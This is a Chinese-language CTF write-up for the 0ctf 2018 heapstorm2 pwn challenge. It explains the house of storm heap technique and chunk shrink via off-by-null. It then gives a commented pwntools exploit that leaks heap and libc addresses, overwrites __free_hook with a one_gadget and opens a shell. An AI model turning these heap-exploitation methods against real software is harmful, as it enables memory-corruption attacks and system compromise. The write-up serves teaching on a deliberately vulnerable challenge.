(BUUCTF)0ctf_2018_heapstorm2

文章目录

  • 前置知识
  • 整体思路
    • [house of storm](#house of storm)
      • [如何进行一次house of storm](#如何进行一次house of storm)
      • [house of storm原理](#house of storm原理)
      • [house of storm具体流程](#house of storm具体流程)
    • [chunk shrink](#chunk shrink)
  • exp

前置知识

  • unsortedbin attack
  • largebin attack
  • off by null构造chunk shrink

整体思路

这道题即是house of storm。除了house of storm,本道题还需要通过chunk shrink来获得重叠指针。因此本文将分别写house of stormchunk shrink两个方面。看完了原理,可以结合我的exp,有详细每一步的注释。

house of storm

如何进行一次house of storm

你可以做到:

  • 任意地址的chunk分配

你需要完成:

  • 控制一个unsortedbinlargebin中的chunk,且unsortedbin中的要比largebin中的大

house of storm原理

一句话描述一下house of storm:通过largebin attackfake chunkheader上错位写下一个0x550x56size,并在fake chunkbk处写一个堆地址。控制unsortedbinchunkbk指向要申请的fake chunk。申请一个大小为0x50chunk,先触发largebin attack,从而根据unsortedbinbk申请到fake chunk,完成任意地址写。

这实际上分为两个部分,首先,我们要知道,unsortedbin attack并非只能在指定位置写一个libc地址,还可以类似于fastbin attack完成一个chunk的分配,只是条件比较苛刻。一句话就是需要unsortedbinbk指向的chunkbk可写,其size合法。

那么我们便可以利用largebin attack来完成这些条件:

  • largebinattack可以写两个值
  • 第一个值错位写要申请的地方的size,使得堆地址最开始的0x55或者0x56size
  • 第二个值写要申请的地方的bk,使得bk为一个可写的值
  • 然后申请大小为0x50chunk即可申请到unsortedbinbk

house of storm具体流程

  • 假设要分配到fake chunk
  • unsortedbinchunkbkfake chunk的地址
  • largebin中的chunkbkfake chunk + 0x18 - 0x10
  • largebin中的chunkbk_nextsizefake chunk + 0x3 - 0x20
  • 申请一个大小为0x50chunk

chunk shrink

上面我们提到需要控制unsortedbinlargebin中的chunk,这一部分需要获得重叠指针。

chunk shrink算是另一种off by null的利用,相比于三明治结构要比较复杂。适用于一些极端情况。

使用方法:小大小三个chunk(不能是fastbin大小),设为abcb0x510(例如),在其最末尾写fake prev_size0x500,释放b置入unsortedbin,通过a进行off by nullbsize变为0x500。申请几个加起来为0x500chunk,第一个不能为fastbin大小,例如三个为0x880x180x448,设为def。先后释放dc,将会导致最开始申请的bc合并,由此再次申请回d,再申请回e可以获得重叠的e指针。

exp

python 复制代码
from pwn import *
from LibcSearcher import *

filename = './0ctf_2018_heapstorm2'
context(log_level='debug')
local = 1
all_logs = []
elf = ELF(filename)
libc = elf.libc

def debug():
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid)
    pause()

choice_words = 'Command: '

menu_add = 1
add_index_words = ''
add_size_words = 'Size: '
add_content_words = ''

menu_del = 3
del_index_words = 'Index: '

menu_show = 4
show_index_words = 'Index: '

menu_edit = 2
edit_index_words = 'Index: '
edit_size_words = 'Size: '
edit_content_words = 'Content: '

def add(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_add))
    if add_index_words:
        sh.sendlineafter(add_index_words, str(index))
    if add_size_words:
        sh.sendlineafter(add_size_words, str(size))
    if add_content_words:
        sh.sendafter(add_content_words, content)

def delete(index=-1):
    sh.sendlineafter(choice_words, str(menu_del))
    if del_index_words:
        sh.sendlineafter(del_index_words, str(index))

def show(index=-1):
    sh.sendlineafter(choice_words, str(menu_show))
    if show_index_words:
        sh.sendlineafter(show_index_words, str(index))

def edit(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_edit))
    if edit_index_words:
        sh.sendlineafter(edit_index_words, str(index))
    if edit_size_words:
        sh.sendlineafter(edit_size_words, str(size))
    if edit_content_words:
        sh.sendafter(edit_content_words, content)

def leak_info(name, addr):
    output_log = '{} => {}'.format(name, hex(addr))
    all_logs.append(output_log)
    success(output_log)

while True:
    if local:
        sh = process(filename)
    else:
        sh = remote('node4.buuoj.cn', )


    # 第一步,利用off by null来构造chunk shrink进而分别获得重叠的一个largebin和一个unsortedbin chunk
    add(size=0x18) # 0
    add(size=0x508) # 1
    add(size=0x18) # 2
    add(size=0x20) # 3防止合并

    # 待会我们会将size为0x510的chunk进行off by null缩小到0x500,因此先在末尾写一个fake prev_size为0x500
    payload = b'a'*0x4f0 + p64(0x500)
    edit(index=1, size=len(payload), content=payload)

    # 将大小为0x510的chunk添加到unsortedbin中去
    delete(index=1)

    # 通过chunk 0进行off by null,来将unsortedbin中的大小为0x510的chunk改为0x500
    payload = b'a'*(0x18 - 12)
    edit(index=0, size=len(payload), content=payload)

    # 申请两个chunk,加起来为0x500,且unsortedbin此时为空了
    add(size=0x18) # 1
    add(size=0x4d8) # 4

    # 释放chunk1和chunk2,chunk2释放的时候由于prev_inuse=0,而prev_size为0x510,因此会将最开始的chunk0和chunk1整个部分合并
    delete(index=1)
    delete(index=2)

    # 再申请回来从而获得重叠指针
    add(size=0x18) # 1
    add(size=0x4d8) # 2,和4重合,大小为0x4e0
    add(size=0x20) # 5

    # 下面这一部分和上面一模一样,没有任何区别
    add(size=0x18) # 6
    add(size=0x508) # 7
    add(size=0x18) # 8
    add(size=0x20) # 9防止合并

    payload = b'a'*0x4f0 + p64(0x500)
    edit(index=7, size=len(payload), content=payload)

    delete(index=7)

    payload = b'a'*(0x18 - 12)
    edit(index=6, size=len(payload), content=payload)

    add(size=0x38) # 7
    add(size=0x4b8) # 10

    delete(index=7)
    delete(index=8)

    add(size=0x38) # 7
    add(size=0x4b8) # 8,和10重合,大小为0x4c0
    add(size=0x20) # 11

    # 先后将小的和大的置入unsortedbin,然后申请回大的。
    # 由于unsortedbin是先遍历先进入的(FIFO),因此会将小的置入largebin
    # 再释放大的,大的会添加到unsortedbin。现在大小为0x4e0的chunk在unsortedbin而大小为0x4c0的chunk在largebin
    delete(index=8)
    delete(index=2)
    add(size=0x4d8) # 2
    delete(index=2)

    # 接下来开始house of storm。
    # 我们设fake chunk在0x13370800前面0x20,以便于我们控制这一部分
    array = 0x13370800
    fake_chunk = array - 0x20

    # unsortedbin的chunk中的bk改为要申请的chunk,这里即是我们的fake chunk
    payload = p64(0) + p64(fake_chunk)
    edit(index=4, size=len(payload), content=payload)

    # laregbin attack可以同时写两个值为堆地址,bk的值+0x10处,以及bk_nextsize+0x20处
    # 核心的点就是我们要写fake_chunk + 3的地方为一个堆地址
    # 因为堆地址开头要么为0x55,要么为0x56,因此错位可以写出来一个fake chunk的size
    payload = p64(0) + p64(fake_chunk + 0x18 - 0x10) # 这里是fd和bk
    payload += p64(0) + p64(fake_chunk + 0x3 - 0x20) # 这里是fd_nextsize和bk_nextsize
    edit(index=10, size=len(payload), content=payload)

    # 由于我们这里是mmap出来的空间,因此申请的chunk的mmap位必须为1,因此只有当堆地址为0x56开头才对
    # 因此爆破。概率为1/2
    try:
        add(size=0x48) # 2
        payload = p64(0)*2 + p64(0)*3 + p64(0x13377331) + p64(0x13370800)
        edit(index=2, size=len(payload), content=payload)
    except EOFError:
        sh.close()
        continue
    
    # 申请到了,开始编辑,首先将两个用于加密的值都写为0,然后数组的第三个写为0x13377331从而可以打印
    # 然后根据数组的排列,下一个我们写0x133707e3,这里是一个堆地址
    payload = p64(0)*3 + p64(0x13377331) + p64(0x13370800) + p64(8) + p64(0x133707e3) + p64(8)
    edit(index=0, size=len(payload), content=payload)

    # 根据排列,现在index=1的话也就是0x133707e3,便可以泄露出堆地址
    show(index=1)
    sh.recvuntil('Chunk[1]: ')
    heap_leak = u64(sh.recv(6).ljust(8, b'\x00'))
    leak_info('heap_base', heap_leak)
    heap_base = heap_leak - 0x40


    # 同理,我们再打印libc。heap_base + 0x50的地方有一个libc地址。
    payload = p64(0)*3 + p64(0x13377331) + p64(0x13370800) + p64(8) + p64(heap_base + 0x50) + p64(8)
    edit(index=0, size=len(payload), content=payload)

    show(index=1)
    sh.recvuntil('Chunk[1]: ')
    libc_leak = u64(sh.recv(6).ljust(8, b'\x00'))
    leak_info('libc_leak', libc_leak)
    libc.address = libc_leak - libc.sym['__malloc_hook'] - 0x58 - 0x10
    leak_info('libc.address', libc.address)

    # 接下来只需要以同样方式来打free_hook即可!
    payload = p64(0)*3 + p64(0x13377331) + p64(0x13370800) + p64(8) + p64(libc.sym['__free_hook']) + p64(8)
    edit(index=0, size=len(payload), content=payload)

    one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
    payload = p64(libc.address + one_gadget[1])
    edit(index=1, size=len(payload), content=payload)
    
    delete(index=0)
    sh.interactive()
    # debug()
    break

参考内容

[原创\]Largebin attack总结-二进制漏洞-看雪-安全社区\|安全招聘\|kanxue.com](https://bbs.kanxue.com/thread-262424.htm#msg_header_h2_3)

相关推荐
用户9623779544821 小时前
VulnHub DC-3 靶机渗透测试笔记
安全
叶落阁主2 天前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
用户962377954484 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机4 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机4 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954484 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star4 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954484 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher6 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行9 天前
网络安全总结
安全·web安全